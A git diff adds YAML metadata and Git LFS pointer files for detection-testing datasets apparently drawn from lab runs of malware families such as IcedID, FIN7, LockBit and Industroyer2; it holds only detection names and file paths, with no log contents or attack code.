bfb0b8e4-dd0f-4faa-adad-a3ae28bd855b +date: '2026-07-10' +description: Curated attack data generated for detection Check Elevated CMD using + whoami +environment: attack_range +directory: fin7_js_2 +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/fin7/fin7_js_2/sysmon-bfb0b8e4-dd0f-4faa-adad-a3ae28bd855b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/fin7/fin7_js_2/sysmon-bfb0b8e4-dd0f-4faa-adad-a3ae28bd855b.log b/datasets/malware/fin7/fin7_js_2/sysmon-bfb0b8e4-dd0f-4faa-adad-a3ae28bd855b.log new file mode 100644 index 000000000..a9e035ac1 --- /dev/null +++ b/datasets/malware/fin7/fin7_js_2/sysmon-bfb0b8e4-dd0f-4faa-adad-a3ae28bd855b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:31c49957d17c5835d5e7b59bf9300ff733cbc3727cdb535d3af841800b8e442c +size 9009 diff --git a/datasets/malware/fin7/fin7_macro_js_1/fin7_fin7_macro_js_1.yml b/datasets/malware/fin7/fin7_macro_js_1/fin7_fin7_macro_js_1.yml new file mode 100644 index 000000000..3e4a528e1 --- /dev/null +++ b/datasets/malware/fin7/fin7_macro_js_1/fin7_fin7_macro_js_1.yml @@ -0,0 +1,13 @@ +author: STRT +id: 77161b26-e62d-4b32-9d0a-08d4f35380e2 +date: '2026-07-11' +description: Curated attack data generated for detection Jscript Execution Using Cscript + App +environment: attack_range +directory: fin7_macro_js_1 +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/fin7/fin7_macro_js_1/sysmon-77161b26-e62d-4b32-9d0a-08d4f35380e2.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/fin7/fin7_macro_js_1/sysmon-77161b26-e62d-4b32-9d0a-08d4f35380e2.log b/datasets/malware/fin7/fin7_macro_js_1/sysmon-77161b26-e62d-4b32-9d0a-08d4f35380e2.log new file mode 100644 index 000000000..267176e30 --- /dev/null +++ b/datasets/malware/fin7/fin7_macro_js_1/sysmon-77161b26-e62d-4b32-9d0a-08d4f35380e2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:04002e0859326218450afb60f9cf9d5f19db6dc334d3d7b48ffb74f21f3e69c0 +size 2033 diff --git a/datasets/malware/fin7/jssloader/fin7_jssloader.yml b/datasets/malware/fin7/jssloader/fin7_jssloader.yml new file mode 100644 index 000000000..d98ee47cb --- /dev/null +++ b/datasets/malware/fin7/jssloader/fin7_jssloader.yml @@ -0,0 +1,13 @@ +author: STRT +id: 629f9c84-95df-4832-a39a-904a8fbe73f2 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Cmdline Tool Execution + From Non-Shell Process +environment: attack_range +directory: jssloader +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/fin7/jssloader/sysmon-629f9c84-95df-4832-a39a-904a8fbe73f2.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/fin7/jssloader/sysmon-629f9c84-95df-4832-a39a-904a8fbe73f2.log b/datasets/malware/fin7/jssloader/sysmon-629f9c84-95df-4832-a39a-904a8fbe73f2.log new file mode 100644 index 000000000..0939285d5 --- /dev/null +++ b/datasets/malware/fin7/jssloader/sysmon-629f9c84-95df-4832-a39a-904a8fbe73f2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:05268e8cd4bc8476a12d60edfa1ccf3bc16f91557a5f61f3fc0abfcae28436b4 +size 18725 diff --git a/datasets/malware/gootloader/partial_ttps/gootloader_partial_ttps.yml b/datasets/malware/gootloader/partial_ttps/gootloader_partial_ttps.yml new file mode 100644 index 000000000..3abd118e7 --- /dev/null +++ b/datasets/malware/gootloader/partial_ttps/gootloader_partial_ttps.yml @@ -0,0 +1,17 @@ +author: STRT +id: f5c642b5-737c-4c3f-8478-73d6aa925454 +date: '2026-07-11' +description: Curated attack data generated for detection PowerShell Script Block With + URL Chain +environment: attack_range +directory: partial_ttps +mitre_technique: [] +datasets: +- name: windows-powershell-xml + path: /datasets/malware/gootloader/partial_ttps/windows-powershell-xml-f5c642b5-737c-4c3f-8478-73d6aa925454.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: windows-sysmon + path: /datasets/malware/gootloader/partial_ttps/windows-sysmon-f5c642b5-737c-4c3f-8478-73d6aa925454.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/gootloader/partial_ttps/windows-powershell-xml-f5c642b5-737c-4c3f-8478-73d6aa925454.log b/datasets/malware/gootloader/partial_ttps/windows-powershell-xml-f5c642b5-737c-4c3f-8478-73d6aa925454.log new file mode 100644 index 000000000..2719ec994 --- /dev/null +++ b/datasets/malware/gootloader/partial_ttps/windows-powershell-xml-f5c642b5-737c-4c3f-8478-73d6aa925454.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:bbec8d4cd7c7bb4da5729c2639385fb1dc7570c529d86b7d3208130fcaac6d9d +size 5560 diff --git a/datasets/malware/gootloader/partial_ttps/windows-sysmon-f5c642b5-737c-4c3f-8478-73d6aa925454.log b/datasets/malware/gootloader/partial_ttps/windows-sysmon-f5c642b5-737c-4c3f-8478-73d6aa925454.log new file mode 100644 index 000000000..af3c95314 --- /dev/null +++ b/datasets/malware/gootloader/partial_ttps/windows-sysmon-f5c642b5-737c-4c3f-8478-73d6aa925454.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:59e0a03dba586f5680d404008d200f9a0f4b3e2850885e74d820c25795128f8f +size 1980 diff --git a/datasets/malware/hermetic_wiper/globalfolderoptions_reg/hermetic_wiper_globalfolderoptions_reg.yml b/datasets/malware/hermetic_wiper/globalfolderoptions_reg/hermetic_wiper_globalfolderoptions_reg.yml new file mode 100644 index 000000000..968bfaab7 --- /dev/null +++ b/datasets/malware/hermetic_wiper/globalfolderoptions_reg/hermetic_wiper_globalfolderoptions_reg.yml @@ -0,0 +1,13 @@ +author: STRT +id: b5e7cbc5-06ed-4f77-994d-20ebdccdfa3a +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Show Compress + Color And Info Tip Registry +environment: attack_range +directory: globalfolderoptions_reg +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/hermetic_wiper/globalfolderoptions_reg/sysmon-b5e7cbc5-06ed-4f77-994d-20ebdccdfa3a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/hermetic_wiper/globalfolderoptions_reg/sysmon-b5e7cbc5-06ed-4f77-994d-20ebdccdfa3a.log b/datasets/malware/hermetic_wiper/globalfolderoptions_reg/sysmon-b5e7cbc5-06ed-4f77-994d-20ebdccdfa3a.log new file mode 100644 index 000000000..43706c3f3 --- /dev/null +++ b/datasets/malware/hermetic_wiper/globalfolderoptions_reg/sysmon-b5e7cbc5-06ed-4f77-994d-20ebdccdfa3a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e97e5163dbc4788d1a5689f06f72cd17357c37d7541fa3f9c4aa7a9587a00cdb +size 2240 diff --git a/datasets/malware/hermetic_wiper/malware_hermetic_wiper.yml b/datasets/malware/hermetic_wiper/malware_hermetic_wiper.yml new file mode 100644 index 000000000..033d508d7 --- /dev/null +++ b/datasets/malware/hermetic_wiper/malware_hermetic_wiper.yml @@ -0,0 +1,13 @@ +author: STRT +id: 12a2c23b-2687-46eb-82b4-21fb4adec46b +date: '2026-07-11' +description: Curated attack data generated for detection Windows Disable Memory Crash + Dump +environment: attack_range +directory: hermetic_wiper +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/hermetic_wiper/sysmon-12a2c23b-2687-46eb-82b4-21fb4adec46b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/hermetic_wiper/sysmon-12a2c23b-2687-46eb-82b4-21fb4adec46b.log b/datasets/malware/hermetic_wiper/sysmon-12a2c23b-2687-46eb-82b4-21fb4adec46b.log new file mode 100644 index 000000000..62def4c5d --- /dev/null +++ b/datasets/malware/hermetic_wiper/sysmon-12a2c23b-2687-46eb-82b4-21fb4adec46b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b3947625ccd2b329e17287359d65a43a59801052d7f03a6d3a08e313d59f8642 +size 4595 diff --git a/datasets/malware/icedid/cmd_carry_str_param/icedid_cmd_carry_str_param.yml b/datasets/malware/icedid/cmd_carry_str_param/icedid_cmd_carry_str_param.yml new file mode 100644 index 000000000..01dbfd3bd --- /dev/null +++ b/datasets/malware/icedid/cmd_carry_str_param/icedid_cmd_carry_str_param.yml @@ -0,0 +1,13 @@ +author: STRT +id: eea15ae4-3b8a-433c-b2fb-90ee5cc9dc6b +date: '2026-07-10' +description: Curated attack data generated for detection CMD Carry Out String Command + Parameter +environment: attack_range +directory: cmd_carry_str_param +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/icedid/cmd_carry_str_param/sysmon-eea15ae4-3b8a-433c-b2fb-90ee5cc9dc6b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/icedid/cmd_carry_str_param/sysmon-eea15ae4-3b8a-433c-b2fb-90ee5cc9dc6b.log b/datasets/malware/icedid/cmd_carry_str_param/sysmon-eea15ae4-3b8a-433c-b2fb-90ee5cc9dc6b.log new file mode 100644 index 000000000..3ddc8821c --- /dev/null +++ b/datasets/malware/icedid/cmd_carry_str_param/sysmon-eea15ae4-3b8a-433c-b2fb-90ee5cc9dc6b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:393c9a143f1e84dba36323d33fb10b456595a060843d7af318cba8c18a40aaf1 +size 13360 diff --git a/datasets/malware/icedid/disable_av/icedid_disable_av.yml b/datasets/malware/icedid/disable_av/icedid_disable_av.yml new file mode 100644 index 000000000..89f7bcddb --- /dev/null +++ b/datasets/malware/icedid/disable_av/icedid_disable_av.yml @@ -0,0 +1,17 @@ +author: STRT +id: 43f3b6fb-6d00-46ea-89be-c67a3859c595 +date: '2026-07-11' +description: Curated attack data generated for detection Disable Defender AntiVirus + Registry +environment: attack_range +directory: disable_av +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/icedid/disable_av/sysmon-43f3b6fb-6d00-46ea-89be-c67a3859c595.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: sysmon2 + path: /datasets/malware/icedid/disable_av/sysmon2-43f3b6fb-6d00-46ea-89be-c67a3859c595.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/icedid/disable_av/sysmon-43f3b6fb-6d00-46ea-89be-c67a3859c595.log b/datasets/malware/icedid/disable_av/sysmon-43f3b6fb-6d00-46ea-89be-c67a3859c595.log new file mode 100644 index 000000000..c28c6f3d0 --- /dev/null +++ b/datasets/malware/icedid/disable_av/sysmon-43f3b6fb-6d00-46ea-89be-c67a3859c595.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b836d352b4cc76e4e4a9233090c492768755d24e054bc6284d829b5e7b56aecb +size 4296 diff --git a/datasets/malware/icedid/disable_av/sysmon2-43f3b6fb-6d00-46ea-89be-c67a3859c595.log b/datasets/malware/icedid/disable_av/sysmon2-43f3b6fb-6d00-46ea-89be-c67a3859c595.log new file mode 100644 index 000000000..970fc03b2 --- /dev/null +++ b/datasets/malware/icedid/disable_av/sysmon2-43f3b6fb-6d00-46ea-89be-c67a3859c595.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e8265bf66971e2ad70e7a5ea602670f7b0fbdb321f34bc08dfa9994348e41a85 +size 31382 diff --git a/datasets/malware/icedid/disable_schtask/icedid_disable_schtask.yml b/datasets/malware/icedid/disable_schtask/icedid_disable_schtask.yml new file mode 100644 index 000000000..ccfa9c765 --- /dev/null +++ b/datasets/malware/icedid/disable_schtask/icedid_disable_schtask.yml @@ -0,0 +1,12 @@ +author: STRT +id: e60a3c7b-13b8-44fe-855d-1fc5303619e6 +date: '2026-07-10' +description: Curated attack data generated for detection Disable Schedule Task +environment: attack_range +directory: disable_schtask +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/icedid/disable_schtask/sysmon-e60a3c7b-13b8-44fe-855d-1fc5303619e6.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/icedid/disable_schtask/sysmon-e60a3c7b-13b8-44fe-855d-1fc5303619e6.log b/datasets/malware/icedid/disable_schtask/sysmon-e60a3c7b-13b8-44fe-855d-1fc5303619e6.log new file mode 100644 index 000000000..5dde9f1ff --- /dev/null +++ b/datasets/malware/icedid/disable_schtask/sysmon-e60a3c7b-13b8-44fe-855d-1fc5303619e6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b32caf20f81cd906ad41f8526d27f0a99707178a145b009919b77119f085d3df +size 1996 diff --git a/datasets/malware/icedid/inf_icedid/icedid_inf_icedid.yml b/datasets/malware/icedid/inf_icedid/icedid_inf_icedid.yml new file mode 100644 index 000000000..7074de5bc --- /dev/null +++ b/datasets/malware/icedid/inf_icedid/icedid_inf_icedid.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8c095453-fa97-406b-9512-01d8b0116980 +date: '2026-07-13' +description: Curated attack data generated for detection Rundll32 Create Remote Thread + To A Process +environment: attack_range +directory: inf_icedid +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/icedid/inf_icedid/windows-sysmon-8c095453-fa97-406b-9512-01d8b0116980.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/icedid/inf_icedid/windows-sysmon-8c095453-fa97-406b-9512-01d8b0116980.log b/datasets/malware/icedid/inf_icedid/windows-sysmon-8c095453-fa97-406b-9512-01d8b0116980.log new file mode 100644 index 000000000..ff3688923 --- /dev/null +++ b/datasets/malware/icedid/inf_icedid/windows-sysmon-8c095453-fa97-406b-9512-01d8b0116980.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7c772424773e85c323c41576acb7a47de3248026d6ea625f6f2bd6bc0767145f +size 14194 diff --git a/datasets/malware/icedid/phish_icedid/icedid_phish_icedid.yml b/datasets/malware/icedid/phish_icedid/icedid_phish_icedid.yml new file mode 100644 index 000000000..d3acb05a6 --- /dev/null +++ b/datasets/malware/icedid/phish_icedid/icedid_phish_icedid.yml @@ -0,0 +1,13 @@ +author: STRT +id: 6768730e-c0bb-4ee4-a3ea-71df70a7ba47 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Office Product Spawned + Uncommon Process +environment: attack_range +directory: phish_icedid +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/icedid/phish_icedid/windows-sysmon-6768730e-c0bb-4ee4-a3ea-71df70a7ba47.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/icedid/phish_icedid/windows-sysmon-6768730e-c0bb-4ee4-a3ea-71df70a7ba47.log b/datasets/malware/icedid/phish_icedid/windows-sysmon-6768730e-c0bb-4ee4-a3ea-71df70a7ba47.log new file mode 100644 index 000000000..00ea922b9 --- /dev/null +++ b/datasets/malware/icedid/phish_icedid/windows-sysmon-6768730e-c0bb-4ee4-a3ea-71df70a7ba47.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ea92ddc9d8d70034a2ac83118378b58ac50fb72514e8f82b63bbdae7ce300a39 +size 4745 diff --git a/datasets/malware/icedid/simulated_icedid/icedid_simulated_icedid.yml b/datasets/malware/icedid/simulated_icedid/icedid_simulated_icedid.yml new file mode 100644 index 000000000..a9b03714a --- /dev/null +++ b/datasets/malware/icedid/simulated_icedid/icedid_simulated_icedid.yml @@ -0,0 +1,13 @@ +author: STRT +id: c0f89db6-2f04-4c37-97ed-05c8f590ed33 +date: '2026-07-11' +description: Curated attack data generated for detection Create Remote Thread In Shell + Application +environment: attack_range +directory: simulated_icedid +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/icedid/simulated_icedid/windows-sysmon-c0f89db6-2f04-4c37-97ed-05c8f590ed33.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/icedid/simulated_icedid/windows-sysmon-c0f89db6-2f04-4c37-97ed-05c8f590ed33.log b/datasets/malware/icedid/simulated_icedid/windows-sysmon-c0f89db6-2f04-4c37-97ed-05c8f590ed33.log new file mode 100644 index 000000000..5148f3f59 --- /dev/null +++ b/datasets/malware/icedid/simulated_icedid/windows-sysmon-c0f89db6-2f04-4c37-97ed-05c8f590ed33.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:995266e4a5ce84e92e30392c1d6b6723d4c5c8edc685a89bfc91c0b985cfe144 +size 1996 diff --git a/datasets/malware/industroyer2/malware_industroyer2.yml b/datasets/malware/industroyer2/malware_industroyer2.yml new file mode 100644 index 000000000..43d70ba21 --- /dev/null +++ b/datasets/malware/industroyer2/malware_industroyer2.yml @@ -0,0 +1,13 @@ +author: STRT +id: bc6ef8a0-d665-4946-9c20-8e73682e0779 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Processes Killed + By Industroyer2 Malware +environment: attack_range +directory: industroyer2 +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/industroyer2/sysmon-bc6ef8a0-d665-4946-9c20-8e73682e0779.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/industroyer2/sysmon-bc6ef8a0-d665-4946-9c20-8e73682e0779.log b/datasets/malware/industroyer2/sysmon-bc6ef8a0-d665-4946-9c20-8e73682e0779.log new file mode 100644 index 000000000..192fa1155 --- /dev/null +++ b/datasets/malware/industroyer2/sysmon-bc6ef8a0-d665-4946-9c20-8e73682e0779.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6a9601da1cfb06ec2760247aa32d2e4cd9307cdcf1c8a59d376175ed93864e15 +size 1771 diff --git a/datasets/malware/lamehug/T1007/net_start/T1007_net_start.yml b/datasets/malware/lamehug/T1007/net_start/T1007_net_start.yml new file mode 100644 index 000000000..f0985485f --- /dev/null +++ b/datasets/malware/lamehug/T1007/net_start/T1007_net_start.yml @@ -0,0 +1,13 @@ +author: STRT +id: 98a9b3f5-dd57-4041-9387-7b2f2c1a1f78 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Net System Service + Discovery +environment: attack_range +directory: net_start +mitre_technique: [] +datasets: +- name: net_start + path: /datasets/malware/lamehug/T1007/net_start/net_start-98a9b3f5-dd57-4041-9387-7b2f2c1a1f78.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/lamehug/T1007/net_start/net_start-98a9b3f5-dd57-4041-9387-7b2f2c1a1f78.log b/datasets/malware/lamehug/T1007/net_start/net_start-98a9b3f5-dd57-4041-9387-7b2f2c1a1f78.log new file mode 100644 index 000000000..49bbb703e --- /dev/null +++ b/datasets/malware/lamehug/T1007/net_start/net_start-98a9b3f5-dd57-4041-9387-7b2f2c1a1f78.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ea44dbcade57335b5fe6289210f3376fa7c90866dfc9a166744acbbcf1980e2c +size 5727 diff --git a/datasets/malware/lamehug/T1071.004/hugging_face/T1071.004_hugging_face.yml b/datasets/malware/lamehug/T1071.004/hugging_face/T1071.004_hugging_face.yml new file mode 100644 index 000000000..63c797a62 --- /dev/null +++ b/datasets/malware/lamehug/T1071.004/hugging_face/T1071.004_hugging_face.yml @@ -0,0 +1,12 @@ +author: STRT +id: 99b796d3-b8b2-4029-a2fe-00bc800139e3 +date: '2026-07-11' +description: Curated attack data generated for detection Windows AI Platform DNS Query +environment: attack_range +directory: hugging_face +mitre_technique: [] +datasets: +- name: huggingface + path: /datasets/malware/lamehug/T1071.004/hugging_face/huggingface-99b796d3-b8b2-4029-a2fe-00bc800139e3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/lamehug/T1071.004/hugging_face/huggingface-99b796d3-b8b2-4029-a2fe-00bc800139e3.log b/datasets/malware/lamehug/T1071.004/hugging_face/huggingface-99b796d3-b8b2-4029-a2fe-00bc800139e3.log new file mode 100644 index 000000000..d723da3cf --- /dev/null +++ b/datasets/malware/lamehug/T1071.004/hugging_face/huggingface-99b796d3-b8b2-4029-a2fe-00bc800139e3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b2f12c9538e04ff0ccf3590ef1251a0b078c7087c506f529ce972420bc515f59 +size 28232 diff --git a/datasets/malware/lamehug/T1082/wmic_cmd/T1082_wmic_cmd.yml b/datasets/malware/lamehug/T1082/wmic_cmd/T1082_wmic_cmd.yml new file mode 100644 index 000000000..5448fc7c5 --- /dev/null +++ b/datasets/malware/lamehug/T1082/wmic_cmd/T1082_wmic_cmd.yml @@ -0,0 +1,12 @@ +author: STRT +id: f201325c-968f-49b3-9530-81707e8bcec1 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Wmic CPU Discovery +environment: attack_range +directory: wmic_cmd +mitre_technique: [] +datasets: +- name: wmic_cmd + path: /datasets/malware/lamehug/T1082/wmic_cmd/wmic_cmd-f201325c-968f-49b3-9530-81707e8bcec1.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/lamehug/T1082/wmic_cmd/wmic_cmd-f201325c-968f-49b3-9530-81707e8bcec1.log b/datasets/malware/lamehug/T1082/wmic_cmd/wmic_cmd-f201325c-968f-49b3-9530-81707e8bcec1.log new file mode 100644 index 000000000..3721b2b58 --- /dev/null +++ b/datasets/malware/lamehug/T1082/wmic_cmd/wmic_cmd-f201325c-968f-49b3-9530-81707e8bcec1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4d3637343a0625aea70626c7e25b4343c411c372c21626bb93dec9275a1c03d1 +size 8746 diff --git a/datasets/malware/lamehug/T1119/doc_collection/T1119_doc_collection.yml b/datasets/malware/lamehug/T1119/doc_collection/T1119_doc_collection.yml new file mode 100644 index 000000000..d3e56759e --- /dev/null +++ b/datasets/malware/lamehug/T1119/doc_collection/T1119_doc_collection.yml @@ -0,0 +1,13 @@ +author: STRT +id: 83c54ad7-9344-43a9-a065-f5f34341ee21 +date: '2026-07-11' +description: Curated attack data generated for detection Windows File Collection Via + Copy Utilities +environment: attack_range +directory: doc_collection +mitre_technique: [] +datasets: +- name: xcopy_event + path: /datasets/malware/lamehug/T1119/doc_collection/xcopy_event-83c54ad7-9344-43a9-a065-f5f34341ee21.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/lamehug/T1119/doc_collection/xcopy_event-83c54ad7-9344-43a9-a065-f5f34341ee21.log b/datasets/malware/lamehug/T1119/doc_collection/xcopy_event-83c54ad7-9344-43a9-a065-f5f34341ee21.log new file mode 100644 index 000000000..c8829fb9c --- /dev/null +++ b/datasets/malware/lamehug/T1119/doc_collection/xcopy_event-83c54ad7-9344-43a9-a065-f5f34341ee21.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8eca8c45112d4478b256efb4d536cb66a6f3f64bbe6cba2d5992ec4d311b8555 +size 171240 diff --git a/datasets/malware/lockbit_ransomware/malware_lockbit_ransomware.yml b/datasets/malware/lockbit_ransomware/malware_lockbit_ransomware.yml new file mode 100644 index 000000000..afffe984a --- /dev/null +++ b/datasets/malware/lockbit_ransomware/malware_lockbit_ransomware.yml @@ -0,0 +1,13 @@ +author: STRT +id: c582b59f-0095-406a-b01c-1544c9d9517a +date: '2026-07-11' +description: Curated attack data generated for detection Windows Modify Registry Default + Icon Setting +environment: attack_range +directory: lockbit_ransomware +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/malware/lockbit_ransomware/sysmon-c582b59f-0095-406a-b01c-1544c9d9517a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/lockbit_ransomware/sysmon-c582b59f-0095-406a-b01c-1544c9d9517a.log b/datasets/malware/lockbit_ransomware/sysmon-c582b59f-0095-406a-b01c-1544c9d9517a.log new file mode 100644 index 000000000..f57bae9c5 --- /dev/null +++ b/datasets/malware/lockbit_ransomware/sysmon-c582b59f-0095-406a-b01c-1544c9d9517a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:92aabdc09ca9d3fdd087e4374dc0b469e1c2c540c2dd04389cc18a3f1461351b +size 1038 diff --git a/datasets/malware/minergate/malware_minergate.yml b/datasets/malware/minergate/malware_minergate.yml new file mode 100644 index 000000000..2f382fb23 --- /dev/null +++ b/datasets/malware/minergate/malware_minergate.yml @@ -0,0 +1,12 @@ +author: STRT +id: 60070149-2849-40ee-a635-bc6db9958a70 +date: '2026-07-10' +description: Curated attack data generated for detection Download Files Using Telegram +environment: attack_range +directory: minergate +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/minergate/windows-sysmon-60070149-2849-40ee-a635-bc6db9958a70.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/minergate/windows-sysmon-60070149-2849-40ee-a635-bc6db9958a70.log b/datasets/malware/minergate/windows-sysmon-60070149-2849-40ee-a635-bc6db9958a70.log new file mode 100644 index 000000000..b82b5e8ef --- /dev/null +++ b/datasets/malware/minergate/windows-sysmon-60070149-2849-40ee-a635-bc6db9958a70.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d5b271445e22dd416f0c23c28679a9387b22f057d2a16e066e2ebf15127a348b +size 6497 diff --git a/datasets/malware/notdoor/loadmacroprovideronboot/notdoor_loadmacroprovideronboot.yml b/datasets/malware/notdoor/loadmacroprovideronboot/notdoor_loadmacroprovideronboot.yml new file mode 100644 index 000000000..281bff745 --- /dev/null +++ b/datasets/malware/notdoor/loadmacroprovideronboot/notdoor_loadmacroprovideronboot.yml @@ -0,0 +1,13 @@ +author: STRT +id: 52bdbbdc-19c5-404f-aa6a-2cf38d5360ac +date: '2026-07-11' +description: Curated attack data generated for detection Windows Outlook LoadMacroProviderOnBoot + Persistence +environment: attack_range +directory: loadmacroprovideronboot +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/notdoor/loadmacroprovideronboot/windows-sysmon-52bdbbdc-19c5-404f-aa6a-2cf38d5360ac.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/notdoor/loadmacroprovideronboot/windows-sysmon-52bdbbdc-19c5-404f-aa6a-2cf38d5360ac.log b/datasets/malware/notdoor/loadmacroprovideronboot/windows-sysmon-52bdbbdc-19c5-404f-aa6a-2cf38d5360ac.log new file mode 100644 index 000000000..f04c30daf --- /dev/null +++ b/datasets/malware/notdoor/loadmacroprovideronboot/windows-sysmon-52bdbbdc-19c5-404f-aa6a-2cf38d5360ac.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1b47a4814f43b986d8f53e525f1adfb759cb8b67e80df57a691bd6f3ae60b678 +size 1417 diff --git a/datasets/malware/notdoor/macro_security_level/notdoor_macro_security_level.yml b/datasets/malware/notdoor/macro_security_level/notdoor_macro_security_level.yml new file mode 100644 index 000000000..f50926390 --- /dev/null +++ b/datasets/malware/notdoor/macro_security_level/notdoor_macro_security_level.yml @@ -0,0 +1,13 @@ +author: STRT +id: 516939cf-f62e-4574-93ba-c47730393df9 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Outlook Macro Security + Modified +environment: attack_range +directory: macro_security_level +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/malware/notdoor/macro_security_level/windows-sysmon-516939cf-f62e-4574-93ba-c47730393df9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/malware/notdoor/macro_security_level/windows-sysmon-516939cf-f62e-4574-93ba-c47730393df9.log b/datasets/malware/notdoor/macro_security_level/windows-sysmon-516939cf-f62e-4574-93ba-c47730393df9.log new file mode 100644 index 000000000..f4cbaef7a --- /dev/null +++ 